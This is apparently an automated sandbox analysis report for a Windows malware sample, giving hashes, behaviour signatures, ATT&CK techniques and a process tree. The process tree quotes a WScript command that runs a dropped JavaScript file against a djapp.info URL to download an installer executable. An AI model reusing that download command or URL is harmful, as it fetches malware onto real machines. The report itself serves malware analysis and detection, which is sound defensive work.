1f267b968177e21393d45982a9b28038757f02f6b8b1a2a1a4a3969cd609d826

General

Target

9fc62c51336e76b350dde6525bd15742_JaffaCakes118.exe
Size

184KB
MD5

9fc62c51336e76b350dde6525bd15742
SHA1

22ddd508fb89d86b2d389803347c2a2082af5c9b
SHA256

1f267b968177e21393d45982a9b28038757f02f6b8b1a2a1a4a3969cd609d826
SHA512

b33c24d6f9b5c564339de2747c1855a0796f4eb638d3263c4c6db0ee05db39176cfbd68942325da97119db32677222ac338ec08edee42a00882a33d9f32fdb23
SSDEEP

3072:/MzsU0S0w8Hp9Rc/LB+dJGESR4hIRSYaVvb1NVFJNndnO38:/7BSH8zUB+nGESaaRvoB7FJNndn9

Score

8^/10

execution

Malware Config

Signatures

Blocklisted process makes network request 7 IoCs

flow	pid	Process
10	1068	WScript.exe
25	4812	WScript.exe
26	4812	WScript.exe
28	4396	WScript.exe
29	4396	WScript.exe
42	2516	WScript.exe
45	4860	WScript.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-711569230-3659488422-571408806-1000\Control Panel\International\Geo\Nation	9fc62c51336e76b350dde6525bd15742_JaffaCakes118.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
716	1016	WerFault.exe	80

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-711569230-3659488422-571408806-1000_Classes\Local Settings	9fc62c51336e76b350dde6525bd15742_JaffaCakes118.exe

Suspicious use of WriteProcessMemory 15 IoCs

description	pid	Process	procid_target
PID 1016 wrote to memory of 1068	1016	9fc62c51336e76b350dde6525bd15742_JaffaCakes118.exe	81
PID 1016 wrote to memory of 1068	1016	9fc62c51336e76b350dde6525bd15742_JaffaCakes118.exe	81
PID 1016 wrote to memory of 1068	1016	9fc62c51336e76b350dde6525bd15742_JaffaCakes118.exe	81
PID 1016 wrote to memory of 4812	1016	9fc62c51336e76b350dde6525bd15742_JaffaCakes118.exe	89
PID 1016 wrote to memory of 4812	1016	9fc62c51336e76b350dde6525bd15742_JaffaCakes118.exe	89
PID 1016 wrote to memory of 4812	1016	9fc62c51336e76b350dde6525bd15742_JaffaCakes118.exe	89
PID 1016 wrote to memory of 4396	1016	9fc62c51336e76b350dde6525bd15742_JaffaCakes118.exe	90
PID 1016 wrote to memory of 4396	1016	9fc62c51336e76b350dde6525bd15742_JaffaCakes118.exe	90
PID 1016 wrote to memory of 4396	1016	9fc62c51336e76b350dde6525bd15742_JaffaCakes118.exe	90
PID 1016 wrote to memory of 2516	1016	9fc62c51336e76b350dde6525bd15742_JaffaCakes118.exe	92
PID 1016 wrote to memory of 2516	1016	9fc62c51336e76b350dde6525bd15742_JaffaCakes118.exe	92
PID 1016 wrote to memory of 2516	1016	9fc62c51336e76b350dde6525bd15742_JaffaCakes118.exe	92
PID 1016 wrote to memory of 4860	1016	9fc62c51336e76b350dde6525bd15742_JaffaCakes118.exe	93
PID 1016 wrote to memory of 4860	1016	9fc62c51336e76b350dde6525bd15742_JaffaCakes118.exe	93
PID 1016 wrote to memory of 4860	1016	9fc62c51336e76b350dde6525bd15742_JaffaCakes118.exe	93

C:\Users\Admin\AppData\Local\Temp\9fc62c51336e76b350dde6525bd15742_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\9fc62c51336e76b350dde6525bd15742_JaffaCakes118.exe"
1⤵
- Checks computer location settings
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:1016
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf2B17.js" http://www.djapp.info/?domain=XRJmRrZtkc.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=J_lbzRQbZuXNkEhP-MAPjQiodRIIVA0RmGYrhLIFYhRn3mR0fhGFWYMOySy1fpgP3Tqr4GalSgF027qeVQko4W8ARNmNAMCdXMWAnI7ZWcJfndWFTQ8Ceizxfr7RVJSNKY6xJX C:\Users\Admin\AppData\Local\Temp\fuf2B17.exe
  2⤵
  - Blocklisted process makes network request
  PID:1068
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf2B17.js" http://www.djapp.info/?domain=XRJmRrZtkc.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=J_lbzRQbZuXNkEhP-MAPjQiodRIIVA0RmGYrhLIFYhRn3mR0fhGFWYMOySy1fpgP3Tqr4GalSgF027qeVQko4W8ARNmNAMCdXMWAnI7ZWcJfndWFTQ8Ceizxfr7RVJSNKY6xJX C:\Users\Admin\AppData\Local\Temp\fuf2B17.exe
  2⤵
  - Blocklisted process makes network request
  PID:4812
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf2B17.js" http://www.djapp.info/?domain=XRJmRrZtkc.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=J_lbzRQbZuXNkEhP-MAPjQiodRIIVA0RmGYrhLIFYhRn3mR0fhGFWYMOySy1fpgP3Tqr4GalSgF027qeVQko4W8ARNmNAMCdXMWAnI7ZWcJfndWFTQ8Ceizxfr7RVJSNKY6xJX C:\Users\Admin\AppData\Local\Temp\fuf2B17.exe
  2⤵
  - Blocklisted process makes network request
  PID:4396
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf2B17.js" http://www.djapp.info/?domain=XRJmRrZtkc.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=J_lbzRQbZuXNkEhP-MAPjQiodRIIVA0RmGYrhLIFYhRn3mR0fhGFWYMOySy1fpgP3Tqr4GalSgF027qeVQko4W8ARNmNAMCdXMWAnI7ZWcJfndWFTQ8Ceizxfr7RVJSNKY6xJX C:\Users\Admin\AppData\Local\Temp\fuf2B17.exe
  2⤵
  - Blocklisted process makes network request
  PID:2516
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf2B17.js" http://www.djapp.info/?domain=XRJmRrZtkc.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=J_lbzRQbZuXNkEhP-MAPjQiodRIIVA0RmGYrhLIFYhRn3mR0fhGFWYMOySy1fpgP3Tqr4GalSgF027qeVQko4W8ARNmNAMCdXMWAnI7ZWcJfndWFTQ8Ceizxfr7RVJSNKY6xJX C:\Users\Admin\AppData\Local\Temp\fuf2B17.exe
  2⤵
  - Blocklisted process makes network request
  PID:4860
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 1016 -s 1456
  2⤵
  - Program crash
  PID:716

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 360 -p 1016 -ip 1016
1⤵
PID:2392

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

JavaScript

1

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\fuf2B17.js

Filesize
3KB

MD5
3813cab188d1de6f92f8b82c2059991b

SHA1
4807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb

SHA256
a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e

SHA512
83b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76

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Analysis

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